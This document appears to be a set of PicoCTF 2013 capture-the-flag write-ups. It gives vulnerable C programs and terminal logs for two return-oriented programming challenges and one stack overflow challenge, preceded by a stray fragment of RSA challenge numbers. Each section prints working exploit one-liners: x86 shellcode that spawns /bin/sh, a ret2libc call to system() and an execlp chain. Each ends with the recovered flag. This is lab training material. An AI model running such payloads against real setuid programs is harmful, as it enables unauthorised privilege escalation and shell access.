n     =  147426225645417139553342358404886645198529522490352691359839782491873450611461887111145469995954618522250637992779925978401830015610097593122018203880703073585636063945771347245716348603489552232317048688060505292755946373819909981955997660918014633102382919198924439017502469967016198925492585769516272283379
cflag =  183432220267576292492132231787500365567429443254723902370093717268660821440942897692891409209336083625860622526532735669405478985976131391373638097071941387759145613334518590037634953987431887257447884479468348868961
n     =  627332965352768740770155366254106959845300172492870722009973118834731530296849175221538708067947689697177943580184423563532887600462655450044573132748970903250245024373466833416970187734469135829450190039040909806348483319266202748803421327450659922751634580246585367885974686043464239023205128753870103334908
RSA_isn't_so_great_after_all?!

# PicoCTF 2k13 - ROP 4


$ cat /problems/ROP_4_887f7f28b1f64d7e/rop4.c
#include <stdio.h>
#include <unistd.h>
#include <string.h>

char exec_string[20];

void exec_the_string() {
 execlp(exec_string, exec_string, NULL);
}

void call_me_with_cafebabe(int cafebabe) {
 if (cafebabe == 0xcafebabe) {
  strcpy(exec_string, "/sh");
 }
}

void call_me_with_two_args(int deadbeef, int cafebabe) {
 if (cafebabe == 0xcafebabe && deadbeef == 0xdeadbeef) {
  strcpy(exec_string, "/bin");
 }
}

void vulnerable_function() {
 char buf[128];
 read(STDIN_FILENO, buf, 512);
}

void be_nice_to_people() {
 // /bin/sh is usually symlinked to bash, which usually drops privs. Make
 // sure we don't drop privs if we exec bash, (ie if we call system()).
 gid_t gid = getegid();
 setresgid(gid, gid, gid);
}

int main(int argc, char** argv) {
 exec_string[0] = '\0';
 be_nice_to_people();
 vulnerable_function();
}
$ ln -s /problems/ROP_4_887f7f28b1f64d7e/rop4 rop4
$ ./getenvadrr SHELL ./rop4
SHELL will be at 0xffffd881
$ objdump -t rop4 | grep execlp
08053ab0 g     F .text 0000012a execlp
$ (python -c 'print "\x90"*140 + "\xb0\x3a\x05\x08" + "\x87\xd8\xff\xff"*2 + "\x00"*4'; cat) | ./rop4
cat /problems/ROP_4_887f7f28b1f64d7e/key
fluent_in_roponese

# PicoCTF 2k13 - Overflow 4


$ cat buffer_overflow_shellcode.c 
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "dump_stack.h"

/*
 * Goal: Get the program to run a shell.
 */

void vuln(char *str) {
    char buf[64];
    strcpy(buf, str);
    dump_stack((void **) buf, 21, (void **) &str);
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: buffer_overflow_shellcode [str]\n");
        return 1;
    }

    uid_t euid = geteuid();
    setresuid(euid, euid, euid);
    vuln(argv[1]);
    return 0;
}
$ cat shellcode-ascii
\x31\xc0\xf7\xe9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x2d\x70\x69\x69\x89\xe6\x50\x56\x53\x89\xe1\xb0\x0b\xcd\x80
$ ./buffer_overflow_shellcode `python -c 'print "\x31\xc0\xf7\xe9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x2d\x70\x69\x69\x89\xe6\x50\x56\x53\x89\xe1\xb0\x0b\xcd\x80" + "\x90"*42 + "\xa0\xd5\xff\xff"'`
Stack dump:
0xffffd5f0: 0xffffd700 (first argument)
0xffffd5ec: 0xffffd5a0 (saved eip)
0xffffd5e8: 0x90909090 (saved ebp)
0xffffd5e4: 0x90909090
0xffffd5e0: 0x90909090
0xffffd5dc: 0x90909090
0xffffd5d8: 0x90909090
0xffffd5d4: 0x90909090
0xffffd5d0: 0x90909090
0xffffd5cc: 0x90909090
0xffffd5c8: 0x90909090
0xffffd5c4: 0x90909090
0xffffd5c0: 0x909080cd
0xffffd5bc: 0x0bb0e189
0xffffd5b8: 0x535650e6
0xffffd5b4: 0x89696970
0xffffd5b0: 0x2d6850e3
0xffffd5ac: 0x896e6962
0xffffd5a8: 0x2f686873
0xffffd5a4: 0x2f2f6850
0xffffd5a0: 0xe9f7c031 (beginning of buffer)
sh-4.2$ cat key
with_great_shellcode_comes_great_responsibility

# PicoCTF 2k13 - ROP 3


$ cat /problems/ROP_3_7f3312fe43c46d26/rop3.c 
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function()  {
 char buf[128];
 read(STDIN_FILENO, buf,256);
}

void be_nice_to_people() {
 // /bin/sh is usually symlinked to bash, which usually drops privs. Make
 // sure we don't drop privs if we exec bash, (ie if we call system()).
 gid_t gid = getegid();
 setresgid(gid, gid, gid);
}

int main(int argc, char** argv) {
        be_nice_to_people();
 vulnerable_function();
 write(STDOUT_FILENO, "Hello, World\n", 13);
}
$ export | grep SHELL
export SHELL="/bin/sh"
$ ln -s /problems/ROP_3_7f3312fe43c46d26/rop3 rop3
$ ./getenvaddr SHELL ./rop3
SHELL will be at 0xffffd881
$ gdb rop3
(gdb) break main
(gdb) run
(gdb) print system
$1 = {<text variable, no debug info>} 0xf7e68250 <system>
(gdb) print exit
$2 = {<text variable, no debug info>} 0xf7e5bf30 <exit>
$ (python -c 'print "\x90"*140 + "\x50\x82\xe6\xf7" + "\x30\xbf\xe5\xf7" + "\x87\xd8\xff\xff"'; cat) | ./rop3
cat /problems/ROP_3_7f3312fe43c46d26/key
rop_rop_rop_all_the_way_home